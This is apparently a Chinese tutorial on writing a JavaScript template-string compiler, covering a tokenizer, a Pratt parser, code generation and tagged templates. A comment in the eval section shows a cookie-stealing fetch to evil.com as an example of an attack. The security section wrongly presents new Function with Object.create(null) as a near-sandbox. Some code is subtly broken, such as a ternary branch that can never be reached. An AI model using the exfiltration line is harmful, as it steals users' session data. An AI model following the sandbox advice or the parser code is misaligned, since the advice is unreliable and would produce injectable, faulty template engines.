手写模板字符串解析深度解析
把含 ${} 的模板字符串编译成可执行函数,本质是微型编译器:词法分析拆 token、语法分析建 AST、代码生成转 JS。 面试考状态机如何处理 $ 与 { 既是分隔符又是字面量的歧义。
一句话概括
手写模板字符串解析器——把 "Hello, ${name}! Score: ${score > 60 ? 'pass' : 'fail'}" 变成可执行函数——本质上是一个微型编译器:词法分析拆 token → 语法分析建 AST → 代码生成转 JavaScript,三步走完你就能造出自己的 EJS。
核心知识点
1. 状态机做词法分析:最难也最关键
模板字符串的 tricky 之处在于 $ + { 同时是表达式分隔符,也是字面量字符(转义后):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// 核心状态机:两种模式切换
function tokenize(template) {
const tokens = [];
let i = 0, mode = 'TEXT'; // TEXT | EXPR
while (i < template.length) {
if (mode === 'TEXT') {
if (template[i] === '\\') {
tokens.push({ type: 'STRING', value: template[i + 1] || '' });
i += 2;
} else if (template[i] === '$' && template[i + 1] === '{') {
tokens.push({ type: 'EXPR_START' });
i += 2;
mode = 'EXPR';
} else {
const start = i;
while (i < template.length && !(template[i] === '$' && template[i+1] === '{') && template[i] !== '\\') i++;
tokens.push({ type: 'STRING', value: template.slice(start, i) });
}
} else { // EXPR 模式:处理大括号嵌套
let depth = 0;
const start = i;
while (i < template.length) {
if (template[i] === '{') depth++;
else if (template[i] === '}') {
if (depth === 0) { tokens.push({ type: 'EXPR', value: template.slice(start, i) }); tokens.push({ type: 'EXPR_END' }); i++; break; }
depth--;
}
i++;
}
mode = 'TEXT';
}
}
return tokens;
}
// 测试嵌套:
// tokenize('${obj[a > 0 ? "yes" : { k: 1 }]}')
// → [{ type: 'EXPR', value: 'obj[a > 0 ? "yes" : { k: 1 }]' }] ✅ 正确处理嵌套大括号
2. Pratt Parsing:一张优先级表替代 N 层递归
传统的递归下降为每个优先级写一个函数(parseAdd → parseMul → parsePrimary),Pratt 用一张表搞定所有二元运算符:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function parseExpr(tokens, minPrec = 0) {
let left = parsePrimary(tokens); // 原子:标识符、字面量、括号
while (tokens.length) {
const prec = { '||': 1, '&&': 2, '==': 3, '===': 3, '<': 4, '>': 4, '+': 5, '-': 5, '*': 6, '/': 6 }[tokens[0].value] || 0;
if (prec <= minPrec) break;
const op = tokens.shift().value;
if (op === '?') { // 三元表达式特殊处理
const consequent = parseExpr(tokens, 0);
tokens.shift(); // :
left = { type: 'Conditional', test: left, consequent, alternate: parseExpr(tokens, prec) };
} else {
left = { type: 'Binary', op, left, right: parseExpr(tokens, prec) };
}
}
return left;
}
// parseExpr(tokenizeExpr('a + b * c > 0 ? d : e'))
// → { type:'Conditional', test:{ type:'Binary', op:'>', left:..., right:0 }, consequent:..., alternate:... }
Pratt 的精髓:
parseExpr(minPrec)的递归调用中,minPrec参数在每一层递增,天然的”优先级越高绑得越紧”。
3. 代码生成:从 AST 到可执行函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function generate(node) {
if (node.type === 'Identifier') return `data.${node.name}`; // 关键:所有变量强制走 data
if (node.type === 'Literal') return JSON.stringify(node.value);
if (node.type === 'Binary') return `(${generate(node.left)} ${node.op} ${generate(node.right)})`;
if (node.type === 'Conditional') return `(${generate(node.test)} ? ${generate(node.consequent)} : ${generate(node.alternate)})`;
// MemberExpr & CallExpr 同理递归...
}
// 编译入口
function compile(tpl) {
const tokens = tokenize(tpl);
// 拼接:静态文本 + 动态表达式
const code = tokens.map(t =>
t.type === 'STRING' ? JSON.stringify(t.value) : generate(parseExpr(tokenizeExpr(t.value)))
).join(' + ');
return new Function('data', `"use strict"; return ${code};`);
}
// 使用:
const fn = compile('Hello, ${name}! Score: ${score}');
fn({ name: 'Alice', score: 95 }); // "Hello, Alice! Score: 95"
fn({ name: '<script>' }); // "Hello, <script>!..." — 但 JSON.stringify 只转义了引号,不是 HTML 转义!
4. 安全沙箱:为什么不能直接 eval
1
2
3
4
5
6
7
8
9
10
11
12
13
// ❌ 极度危险的写法
const fn = eval(`(data) => \`${template}\``);
fn({}); // 用户可以在 ${} 内写 process.exit() 或 fetch('http://evil.com?data=' + document.cookie)
// ✅ 正确做法:new Function + 独立作用域 + 白名单
const safeFn = new Function('data',
'"use strict";' +
'const safe = Object.create(null);' + // 纯净对象,无原型链
'Object.assign(safe, data);' + // 只暴露用户传入的 data
'return ' + compiledCode.replace(/\b(\w+)\b/g, (m) =>
KEYWORDS.has(m) ? m : `safe.${m}` // 所有标识符强制 safe. 前缀
)
);
三层防线:① 词法层只允许表达式 token(禁止 new/eval/while)② 代码生成层所有变量 → data.xxx ③ 运行时用 Object.create(null) 切断原型链逃逸路径。
5. Tagged Template:原生 DSL 能力
1
2
3
4
5
6
7
8
9
10
11
// 手写一个 CSS-in-JS 标签函数
function css(strings, ...values) {
return strings.reduce((result, str, i) =>
result + str + (values[i] !== undefined ? String(values[i]) : ''), '');
}
const color = 'red';
const styles = css`color: ${color}; font-size: ${14 + 2}px;`;
// "color: red; font-size: 16px;"
// lit-html 就是用 tagged template 做响应式模板的
// html`<div class=${cls}>${content}</div>` → 编译为 TemplateResult
其实你每天都在用
- JSX 的编译——Babel 把
<div>{name}</div>转成React.createElement('div', null, name),本质上就是模板解析。React 17 的_jsx运行时更是和模板引擎的代码生成如出一辙。 - i18n 国际化库——
t('hello', { name: 'World' })等价于模板Hello { {name} },底层都是先解析占位符位置,再替换值。vue-i18n、react-intl 无一例外。 - PostCSS / Sass 的
#{$var}插值——CSS 变量插值和模板字符串是同一个问题。Sass 编译器内部有一个完整的表达式解析器。 - SQL 模板字符串——
sql\SELECT * FROM users WHERE id = ${userId}`用 tagged template 防止 SQL 注入,sql` 函数内部做参数化转义。Prisma、pg-promise 都在用。 - 正则的
String.prototype.replace回调——'Hello ${name}'.replace(/\$\{(\w+)\}/g, (_, key) => data[key])就是最简版的模板引擎,一行正则搞定。
常见误解(FAQ)
❌ 误区:「模板引擎随便用正则替换就行,不需要 AST」 真相:正则只能匹配单层
${},遇到${a.b[c > 0 ? 'x' : 'y'].fn()}这种嵌套调用直接翻车。你需要处理{}的配对——这正是词法分析器的职责。正则不是不能做,而是做到一半会发现自己在实现一个 ad-hoc 解析器,不如一开始就用正规方法。❌ 误区:「
new Function和eval一样危险」 真相:它们的安全模型完全不同。eval能访问当前作用域的所有变量(闭包穿透),new Function只能访问全局对象,加上Object.create(null)和use strict,几乎等同于独立沙箱。Node.js 的vm模块和 Deno 的沙箱底层也是这个思路。❌ 误区:「Vue 的模板编译器只是 EJS 的升级版」 真相:Vue 编译器做的是编译时优化(静态提升、PatchFlag、Block Tree),输出的是 Virtual DOM 渲染函数而非 HTML 字符串,中间经历了静态分析→动态节点标记→Block 划分等 EJS 完全没有的阶段。它更像 AOT 编译器而非运行时模板引擎。
❌ 误区:「Pratt Parsing 太高级,手写模板不需要」 真相:如果你在模板中只支持
${name}这种简单变量,确实不需要。但只要你想支持${a + b * c}这种基础运算——恰恰是最常见的需求——就必须处理运算符优先级。Pratt 用 20 行代码解决递归下降 100 行才能做的事,是最实用的面试答案。
一句话总结
模板字符串解析器就是一个微型编译器,三个核心模块(Tokenizer / Parser / CodeGen)加起来不过 200 行,但理解它就理解了编译原理的前端全链路——从字符流到可执行代码,V8 是这么做的,Babel 是这么做的,你的模板引擎也应该这么做。